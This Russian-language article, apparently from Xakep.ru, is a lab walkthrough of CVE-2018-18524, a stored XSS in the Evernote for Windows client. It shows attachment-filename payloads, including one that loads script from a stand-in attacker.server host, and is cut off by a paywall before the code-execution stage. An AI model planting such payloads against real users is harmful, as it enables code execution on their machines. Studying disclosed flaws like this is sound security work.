Не сомневаюсь, что ты слышал про сервис создания и хранения заметок Evernote. В клиентском приложении Evernote для Windows есть хранимая XSS-уязвимость, с помощью которой можно выполнить произвольный код на целевой системе пользователя.

INFO

Эта уязвимость получила код CVE-2018-18524.

Evernote — это один из первопроходцев в области сервисов для ведения заметок на разных устройствах с возможностью синхронизации. Публичная бета была выпущена уже более десяти лет назад, в июне 2008 года. Заметками здесь считаются фрагменты форматированного текста, веб-страницы целиком или частями, фотографии, аудиофайлы или рукописные записи.

Заметки могут также содержать вложения с файлами другого типа. Довольно удобная вещь, которая прочно вошла в обиход современного пользователя. Количество пользователей Evernote на данный момент превысило 200 миллионов. Разумеется, клиенты Evernote доступны на всех основных платформах: Android, iOS, macOS и, конечно, Windows.

В версии для Windows и была обнаружена уязвимость типа XSS. Многие исследователи и аудиторы недооценивают этот тип атак и списывают его со счетов. Но перед нами как раз пример случая, когда XSS легким движением руки превращается в удаленное выполнение команд на машине юзера.

Уязвимость изначально была найдена человеком под ником @sebao, а затем допилена и раскручена до RCE исследователем Тунцином Чжу (Tongqing Zhu) из Knownsec 404 и отправлена вендору. Под угрозой оказались все версии приложения ниже беты 6.16.1. Давай посмотрим, как это стало возможным.

 

Стенд

Так как уязвима только версия приложения для Windows, нам, очевидно, понадобится эта ОС. Заметку с XSS можно создать почти в любой версии ниже 6.15. Я буду использовать 6.14.5 билд 7671. Установка стандартна.

Приложение Evernote 6.14.5 для Windows
Приложение Evernote 6.14.5 для Windows

После того как мы создадим заметку с пейлоадом, она будет работать на любой версии ниже беты 6.16.1.

Почему такая путаница с версиями? Дело в том, что с 6.15 разработчики внедрили санитизацию пользовательских данных: фильтруются символы <, > и ". Поэтому создать заметку с XSS легальными способами в приложении больше не выйдет.

 

Первые шаги

После установки нужно зарегистрироваться или войти в аккаунт, если он у тебя уже есть. Создаем новую заметку и перетаскиваем туда любую картинку.

Создание новой заметки в Evernote
Создание новой заметки в Evernote

Окно можно закрывать, данные сохраняются автоматически. Теперь посмотрим, в каком формате приложение хранит данные. Для этого зайдем в настройки в секцию General и найдем раздел Evernote local files.

Настройки Evernote в Windows
Настройки Evernote в Windows

Там нужно нажать на линк Open Database folder. Попадаем в папку с файлами профиля вида <имя_профиля>.exb. Для открытия такого файла придется скопировать его или завершить работу с приложением Evernote. Воспользуемся любым HEX-редактором, чтобы увидеть содержимое файла.

Файл профиля Evernote
Файл профиля Evernote

Как видишь, заголовок сообщает, что это обычная база данных в формате SQLite версии 3. Проверим это. Существует множество приложений, которые позволяют манипулировать ими. Я пользуюсь DB Browser for SQLite. Устанавливаем и открываем файл EXB в ней. Среди множества таблиц есть resource_attr. Здесь хранятся данные элементов, прикрепленных к заметкам, таких как наша картинка.

Просмотр таблицы resource_attr в файле профиля Evernote
Просмотр таблицы resource_attr в файле профиля Evernote

В поле file_name хранится текущее имя аттача. Его можно изменить в самой заметке, щелкнув правой кнопкой мыши по картинке и выбрав Rename. Напишем здесь что-то более осмысленное, например " onclick="alert('XSS')">.jpg.

Добавляем XSS-пейлоад вместо имени картинки
Добавляем XSS-пейлоад вместо имени картинки

Теперь заглянем в базу и снова посмотрим на поле file_name.

Просмотр таблицы resource_attr после переименования картинки
Просмотр таблицы resource_attr после переименования картинки

Теперь переоткроем созданную заметку и кликнем по картинке.

Хранимая XSS в Evernote
Хранимая XSS в Evernote

Бам! Поймали алерт. Так происходит, потому что в редакторе используется разметка HTML для форматирования данных. Под катом почти полноценный браузер с JavaScript и всякими дополнительными плюшками. Можно покопаться в памяти процесса Evernote и найти, как выглядит код, выводящий картинку.

<span>
   <div><img src="en-resource://database/392:0" type="image/jpeg" data-filename="Mia.jpg"/></div>
   <div><br/></div>
</span>
Просмотр HTML в памяти процесса Evernote
Просмотр HTML в памяти процесса Evernote

Ссылка en-resource://database/392:0 указывает на аттач с UID 392 в базе. Как ты видел выше, это наша картинка. В атрибуте data-filename — данные из поля file_name. Именно сюда мы внедряем пейлоад.

<img src="en-resource://database/392:0" type="image/jpeg" data-filename="" onclick="alert('XSS')">.jpg"/>

Поэтому-то алерт и отрабатывает.

Если ты используешь более новую версию, в которой уже фильтруется пользовательский ввод и нельзя создать картинку с XSS, то можешь изменить поле file_name напрямую в таблице — это тоже прокатит.

Давай преобразуем наш пейлоад в более удобный для эксплуатации вид:

"><script src="http://attacker.server/xss.js">.jpg

Теперь нам не придется каждый раз править код, чтобы попробовать что-то новое.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    2 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии